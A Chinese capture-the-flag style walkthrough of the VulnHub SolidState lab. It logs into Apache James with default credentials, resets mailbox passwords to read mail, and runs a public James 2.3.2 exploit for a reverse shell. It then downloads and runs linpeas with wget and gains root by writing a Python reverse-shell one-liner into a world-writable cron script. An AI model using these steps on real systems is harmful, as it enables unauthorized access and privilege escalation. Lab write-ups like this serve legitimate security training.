vulnhub SolidState: 1

渗透思路:

nmap扫描---->默认账号登录James Remote Admin修改用户密码---->登录pop3端口查看邮件内容找到系统登陆的账户密码---->ssh登录/利用Apache James Server 2.3.2远程命令执行漏洞获得反弹shell----->查找权限777的文件,并用定时任务提权

环境信息:

靶机:192.168.101.42

攻击机:192.168.101.34

具体步骤:

步骤1:nmap扫描

sudo nmap -sS -A -p- 192.168.101.42

除了常规的ssh和http服务,还扫出一堆JAMES,有诡异……看这smtp和pop3都被扫出来了,这关恐怕和邮件大有关系

步骤2:查看邮件内容找到系统登陆的账户密码

在80端口逛了一圈(http://192.168.101.42),还dirb扫描了了一下网站目录,一无所获。

于是把矛头转向了邮件服务。

Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers搜索“ JAMES”,可以搜到远程命令执行漏洞,如下图红框所示,可把我高兴坏了。(我最终使用的是2021-09-28的那个)

一看利用成功要满足两个基本条件:

(1)James Remote Administration Tool的用户名密码是默认的root/root

(2)需要有用户登录系统才会反弹shell

emmmm到目前为止还不知道可以登录系统的账号密码呢……看来利用这个漏洞的条件还不具备。

先试试把登录系统的账号密码弄到手吧~

目前知道James Remote Administration的默认用户名密码是root/root了,碰碰运气。

尝试登陆:

telnet 192.168.101.42 4555

根据提示输入用户名root密码root,真的登录成功了。

listusers命令看一下当前有哪些邮箱账户,可以看到一共有6个账户,但其中有一个不太正经(../../../../../../../../etc/bash_completion.d),这个应该是我之前尝试执行exploit的时候,脚本创建的用户。

把正经账号的密码都改一下,用setpassword命令,密码全都改成cat,比如

setpassword james cat

然后依次用每个账户登录pop3,查看邮件内容,比如用james/cat登录,并查看邮件列表

telnet 192.168.101.42 110                                                             1 ⨯
USER james
PASS cat
LIST

james的邮箱中没有邮件,用quit命令退出,换下一个用户 

到john的时候,发现这个账户的邮箱中有一封邮件,用RETR 1命令查看邮件内容

从 RETR 1 的返回结果可见,mindy的邮箱中可能会有一封包含账户和临时密码的邮件。

用mindy账户登录,发送LIST命令发现有两封邮件,用RETR命令依次查看两封邮件内容,发现账号密码在第二封邮件中:mindy/P@55W0rd1!2@

步骤3:mindy用户ssh登录获得shell,或者利用Apache James Server 2.3.2远程命令执行漏洞获得反弹shell

之前在攻击机上执行过exploit

python3 50347.py 192.168.101.42 192.168.101.34 443

现在在攻击机上用nc监听443端口

nc -nlvp 443

mindy用户进行ssh登录

mindy用户登录之后没有获得shell,但是攻击机的443端口获得反弹shell了。

我一开始还觉得这个方法好鸡肋啊,因为在网上查到,mindy用户之所以ssh登录没有直接获得shell是由于我之前执行exploit的时候没有在命令的最后加&,导致mindy用户登录后不能控制系统。

其实我都可以用mindy用户ssh登录系统了,为啥还需要反弹shell呢?

于是我一狠心,把exploit创建的账号../../../../../../../../etc/bash_completion.d删掉了(用deluser命令)

然后用mindy进行ssh登录,登录之后我发现mindy的shell是rbash……一大堆命令不能执行,还是反弹shell香啊TAT

后面还是在反弹shell中操作

首先在mindy的家目录下找到了user.txt,这个应该是一个flag

 步骤4:定时任务提权

先试试linpeas.sh能不能找到点啥

攻击机在80端口起http服务

 python2 -m SimpleHTTPServer 80 

反弹shell中进入/tmp目录输入如下命令,下载并运行linpeas.sh

wget http://192.168.101.34/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh

然而并没有找到什么有用的…… 

自己找找咯,找权限777的文件的时候发现了一个叫tmp.py的文件

find / -perm 777 -type f 2>/dev/null

其作用为删除/tmp目录下所有文件,看上去是个非常有可能成为定时任务的脚本

尝试一下定时任务提权,把tmp.py的内容改成python反弹shell

echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.101.34",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' > /opt/tmp.py

攻击机监听2333端口

nc -nlvp 2333

大概几分钟之后,2333端口就可以获得root的shell 

来看看具体是哪个定时任务?用如下命令找到该定时任务每3分钟执行一次,在/var/spool/cron/crontabs/root

find / -type f | xargs grep tmp.py

后记:

后来在别的wp中看到另一种绕过rbash的方法:

ssh mindy@192.168.101.42 "export TERM=xterm; python -c 'import pty; pty.spawn(\"/bin/sh\")'"

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值